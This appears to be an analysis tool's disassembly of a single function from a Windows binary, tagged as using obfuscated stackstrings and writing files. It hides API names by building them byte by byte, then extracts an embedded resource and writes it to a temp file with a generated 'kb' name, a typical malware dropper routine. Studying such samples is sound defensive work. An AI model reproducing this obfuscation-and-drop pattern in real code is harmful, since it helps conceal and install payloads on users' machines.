Function at 0x402518
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a0
push ebx
push esi
push edi
push pe_nt_image_headers32
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x19b]
mov byte [ebp - 0x19c], bl
push pe_nt_image_headers32
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x29f]
mov byte [ebp - 0x2a0], bl
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push str.Kernel32.dll
stosw word es:[edi], ax
stosb byte es:[edi], al
call esi
mov edi, eax
cmp edi, ebx
je 0x4027e3
lea eax, [ebp - 0x20]
mov byte [ebp - 0x20], 0x47
push eax
push edi
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x54
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x6d
mov byte [ebp - 0x1a], 0x70
mov byte [ebp - 0x19], 0x50
mov byte [ebp - 0x18], 0x61
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x68
mov byte [ebp - 0x15], 0x41
mov byte [ebp - 0x14], bl
call fcn.00401781
pop ecx
pop ecx
lea ecx, [ebp - 0x19c]
push ecx
push 0x104
call eax
test eax, eax
je 0x4027e3
lea eax, [ebp - 0x50]
mov byte [ebp - 0x50], 0x46
push eax
push edi
mov byte [ebp - 0x4f], 0x69
mov byte [ebp - 0x4e], 0x6e
mov byte [ebp - 0x4d], 0x64
mov byte [ebp - 0x4c], 0x52
mov byte [ebp - 0x4b], 0x65
mov byte [ebp - 0x4a], 0x73
mov byte [ebp - 0x49], 0x6f
mov byte [ebp - 0x48], 0x75
mov byte [ebp - 0x47], 0x72
mov byte [ebp - 0x46], 0x63
mov byte [ebp - 0x45], 0x65
mov byte [ebp - 0x44], 0x41
mov byte [ebp - 0x43], bl
mov byte [ebp - 0x60], 0x53
mov byte [ebp - 0x5f], 0x69
mov byte [ebp - 0x5e], 0x7a
mov byte [ebp - 0x5d], 0x65
mov byte [ebp - 0x5c], 0x6f
mov byte [ebp - 0x5b], 0x66
mov byte [ebp - 0x5a], 0x52
mov byte [ebp - 0x59], 0x65
mov byte [ebp - 0x58], 0x73
mov byte [ebp - 0x57], 0x6f
mov byte [ebp - 0x56], 0x75
mov byte [ebp - 0x55], 0x72
mov byte [ebp - 0x54], 0x63
mov byte [ebp - 0x53], 0x65
mov byte [ebp - 0x52], bl
mov byte [ebp - 0x10], 0x4c
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x64
mov byte [ebp - 0xc], 0x52
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x73
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x75
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], bl
mov byte [ebp - 0x30], 0x4c
mov byte [ebp - 0x2f], 0x6f
mov byte [ebp - 0x2e], 0x63
mov byte [ebp - 0x2d], 0x6b
mov byte [ebp - 0x2c], 0x52
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x73
mov byte [ebp - 0x29], 0x6f
mov byte [ebp - 0x28], 0x75
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x63
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], bl
mov byte [ebp - 0x40], 0x46
mov byte [ebp - 0x3f], 0x72
mov byte [ebp - 0x3e], 0x65
mov byte [ebp - 0x3d], 0x65
mov byte [ebp - 0x3c], 0x52
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x73
mov byte [ebp - 0x39], 0x6f
mov byte [ebp - 0x38], 0x75
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x63
mov byte [ebp - 0x35], 0x65
mov byte [ebp - 0x34], bl
call fcn.00401781
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x60]
push eax
push edi
call fcn.00401781
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x10]
push eax
push edi
call fcn.00401781
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x30]
push eax
push edi
call fcn.00401781
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x40]
push eax
push edi
call fcn.00401781
add esp, 0x28
mov dword [ebp - 0x74], eax
xor eax, eax
lea edi, [ebp - 0x97]
push 7
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x98], 0x6b
mov byte [ebp - 0x97], 0x62
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x98]
push str._s_08x.
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x98]
push 0x40608c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x19c]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x1c
cmp byte [ebp + eax - 0x19d], 0x5c
je 0x40278a
lea eax, [ebp - 0x19c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov byte [ebp + eax - 0x19d], 0x5c
lea eax, [ebp - 0x19c]
push eax
push dword [ebp + 8]
call fcn.00401504
lea eax, [ebp - 0x98]
push eax
push dword [ebp + 8]
call fcn.004015fb
push dword [ebp + 8]
lea eax, [ebp - 0x2a0]
push eax
call fcn.00401504
add esp, 0x18
mov dword [ebp + 8], ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push dword [ebp + 0xc]
mov edi, eax
push dword [ebp + 0x10]
push edi
call dword [ebp - 0x6c]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x4027e3
push eax
push edi
call dword [ebp - 0x64]
cmp eax, ebx
mov dword [ebp - 0x64], eax
jne 0x4027ea
xor eax, eax
jmp 0x40286d
push eax
call dword [ebp - 0x68]
cmp eax, ebx
mov dword [ebp - 0x68], eax
je 0x402864
push dword [ebp + 0xc]
push edi
call dword [ebp - 0x70]
mov edi, str.Kernel32.dll
push str.CreateFileA
push edi
mov dword [ebp + 0x10], eax
call esi
push eax
call fcn.00401781
pop ecx
mov dword [ebp + 0xc], eax
pop ecx
push str.CloseHandle
push edi
call esi
push eax
call fcn.00401781
pop ecx
mov edi, eax
pop ecx
lea eax, [ebp - 0x2a0]
push ebx
push ebx
push 2
push ebx
push ebx
push 0xc0000000
push eax
call dword [ebp + 0xc]
mov esi, eax
cmp esi, 0xffffffff
je 0x402861
lea eax, [ebp - 0x78]
push ebx
push eax
push dword [ebp + 0x10]
push dword [ebp - 0x68]
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.DLL_FlushFileBuffers]
push esi
call edi
push dword [ebp - 0x64]
call dword [ebp - 0x74]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret